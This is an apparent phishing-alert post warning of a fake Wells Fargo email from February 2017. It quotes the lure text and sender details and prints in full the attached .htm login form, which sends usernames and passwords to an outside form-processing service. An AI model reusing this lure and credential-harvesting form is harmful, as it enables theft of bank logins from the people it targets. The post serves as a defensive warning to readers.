PHISHING ALERT! PHISHING scam email from Wells Fargo Online zycar.ong@dict.gov.ph donholdn5

DO NOT ENTER YOUR ACCOUNT LOG-IN ON THE .HTM FORM ATTACHED TO THIS EMAIL!This email IS NOT FROM WELLS FARGO and Wells Fargo would never send an .htm form for you to log-in to!This .htm form is posting your account information to http://www.formbuddy.com/cgi-bin/form.pl username donholdn5 - NOT WELLS FARGO!

Originating IP: 195.21.141.244
Originating ISP: Interoute Communications Limited
City: New York
Country of Origin: United States

from: wells fargo online <zycar.ong@dict.gov.ph>
to: Recipients <zycar.ong@dict.gov.ph>
date: Fri, Feb 3, 2017 at 4:46 PM
subject: Irregular Activity Detected On Your Account

Dear valued customer,

We detected irregular activity on your online access on Friday, February 3, ?2017
As the Primary Contact, you must verify your account activity before you can continue using
your account, and upon verification, we will remove any restrictions placed on your account.
To review your account as soon as possible please download the attached form and follow the instructions on your screen.

If you have questions, Wells Fargo Online Customer Service is available 24 hours a day, 7 days a week
wellsfargo.com | Fraud Information Center
Please do not reply to this email directly. To ensure a prompt and secure response, sign on to email us. 6a53cbfc-6658-4001-8772-9ebabb13531c-1
949b27e8-a544-4616-9b1c-effb17f743ec

attachment; filename="Wells Fargo - Personal & Business Banking - Student, Auto & Home Loans - Investing & Insurance.htm"
<form action="http://www.formbuddy.com/cgi-bin/form.pl" method="post">
<input type="hidden" name="username" value="donholdn5">
<input type="hidden" name="reqd" value="1,2,3,4">
<input type="hidden" name="url" value="https://connect.secure.wellsfargo.com/auth/login/present?origin=cob&error=yes&LOB=CONS&destination=brokerage">
<div>
<label for="destination" class="hide">Go to</label>
<select name="destination" id="destination">
<option value="AccountSummary" selected="selected">Account Summary</option>
<option value="Transfer">Transfer</option><option value="BillPay">Bill Pay</option>
<option value="Brokerage">Brokerage</option><option value="Trade">Trade</option>
<option value="MessageAlerts">Messages and Alerts</option>
<option value="MainMenu">Account Services</option>
</select>
</div>
<div>
<label for="userid">Username</label>
<input type="text" accesskey="U" id="userid" name="user" maxlength="14" />
</div>
<div>
<label for="password">Password</label>
<input type="password" accesskey="P" id="password" name="pass" maxlength="14" /> <input type="submit" value="Go" name="btnSignon" id="btnSignon" class="c7 secondarybtn"/>
</div>
<div>
<a href="/help/faqs/signon_faqs">Username / Password Help</a>
<input type="hidden" name="screenid" value="SIGNON" />
<input type="hidden" name="origination" value="WebCons" />
<input type="hidden" name="LOB" value="Cons" />
<input type="hidden" id="u_p" name="u_p" value=""/>
</div>
</form>